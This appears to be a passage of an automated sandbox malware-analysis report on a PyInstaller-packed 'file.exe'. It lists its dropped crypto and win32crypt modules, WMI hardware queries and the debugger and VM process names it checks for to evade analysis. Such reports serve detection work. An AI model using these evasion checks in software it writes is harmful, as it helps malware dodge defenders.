Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1D27AE push rsp; iretd	1_2_00007FFDFF1D27B9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1D267D push rbx; retf	1_2_00007FFDFF1D2685
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013D4331 push rcx; ret	1_2_00007FFE013D4332

Persistence and Installation Behavior

Found pyInstaller with non standard icon

Source: C:\Users\user\Desktop\file.exe

Process created: "C:\Users\user\Desktop\file.exe"

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_curve25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32\pywintypes313.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\python313.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\win32\win32crypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\charset_normalizer\md__mypyc.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\charset_normalizer\md.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_curve448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\_cffi_backend.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29922\VCRUNTIME140.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6BAF05830 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

0_2_00007FF6BAF05830

Source: C:\Windows\System32\dxdiag.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\dxdiag.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_DiskPartition.DeviceID="Disk #0, Partition #1"} WHERE ResultClass = Win32_DiskDrive
Source: C:\Windows\System32\dxdiag.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\System32\dxdiag.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_LogicalDisk Where DriveType=3

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\dxdiag.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: QEMU-GA.EXE
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMU-GA.EXEZ
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DX64DBG.EXE
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DFIDDLER.EXE
Source: file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXEZ
Source: file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXEZ
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DVMUSRVC.EXE
Source: file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: XENSERVICE.EXEZ
Source: file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXEZ
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DWIRESHARK.EXE
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMUSRVC.EXE
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DXENSERVICE.EXE
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DOLLYDBG.EXE
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DQEMU-GA.EXE
Source: file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMUSRVC.EXEZ
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: XENSERVICE.EXE
Source: file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXEZ
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DPROCESSHACKER.EXE
Source: file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXEZ
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00007FFE013F8816 sgdt fword ptr [rax]

1_2_00007FFE013F8816

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_curve25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\python313.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\win32\win32crypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\charset_normalizer\md__mypyc.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\charset_normalizer\md.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_curve448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\_cffi_backend.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-18183

Source: C:\Users\user\Desktop\file.exe

API coverage: 2.1 %

Source: C:\Windows\System32\dxdiag.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\dxdiag.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\dxdiag.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\dxdiag.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

